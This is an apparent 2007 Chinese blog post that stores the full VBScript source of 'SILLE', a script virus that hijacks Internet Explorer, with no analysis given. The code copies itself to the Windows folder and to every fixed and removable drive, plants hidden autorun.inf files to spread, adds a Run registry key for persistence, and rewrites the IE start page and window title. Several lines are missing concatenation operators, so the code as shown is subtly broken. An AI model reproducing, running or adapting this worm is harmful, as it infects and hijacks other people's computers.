一个经得起时间考验的人
收藏一个VBS病毒的代码(劫持IE)
脚本病毒,出来已经有些时间了.
大部分的杀毒软件都能够发现这种病毒了.
病毒的重点部分是在这个ie.vbs文件中,其中的代码如下:
关于代码的分析留在以后再做,

VBS代码
- ‘virus name is SILLE
- ‘By Winxp32
- on error resume next
- dim ms,winpath,fs,fd,mf,atr,tf,rg,nt,chk,sd
- atr = "[autorun]"&vbcrlf"shellexecute=wscript.exe ie.vbs"
- set fs = createobject("Scripting.FileSystemObject")
- set mf = fs.getfile(Wscript.ScriptFullname)
- dim text,size
- size = mf.size
- chk = mf.drive.drivetype
- set text=mf.openastextstream(1,-2)
- do while not text.atendofstream
- ms=ms&text.readline
- ms=ms & vbcrlf
- loop
- do
- Set winpath = fs.getspecialfolder(0)
- set tf = fs.getfile(winpath & "\ie.vbs")
- tf.attributes = 32
- set tf=fs.createtextfile(winpath & "\ie.vbs",2,true)
- tf.write ms
- tf.close
- set tf = fs.getfile(winpath & "\ie.vbs")
- tf.attributes = 39
- for each fd in fs.drives
- If (fd.drivetype = 1 or fd.drivetype = 2) and fd.path <> "A:" then
- set tf=fs.getfile(fd.path "\ie.vbs")
- tf.attributes =32
- set tf=fs.createtextfile(fd.path "\ie.vbs",2,true)
- tf.write ms
- tf.close
- set tf=fs.getfile(fd.path "\ie.vbs")
- tf.attributes =39
- set tf =fs.getfile(fd.path "\autorun.inf")
- tf.attributes = 32
- set tf=fs.createtextfile(fd.path "\autorun.inf",2,true)
- tf.write atr
- tf.close
- set tf =fs.getfile(fd.path "\autorun.inf")
- tf.attributes=39
- end if
- next
- set rg = createobject("WScript.Shell")
- rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath"\ie.vbs"
- rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","¤¤¤¤~~~—@ SILLE"
- rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.sille.net"
- if chk <> 1 then
- Wscript.sleep 333333
- end if
- loop while chk<>1
- set sd = createobject("Wscript.shell")
- sd.run winpath"\explorer.exe /e,/select, "&Wscript.ScriptFullname
| 打印文章 | 这篇文章由admin于2007年07月19日 11:02 下午发表在Collection。你可以订阅RSS 2.0 也可以发表评论或引用到你的网站。 |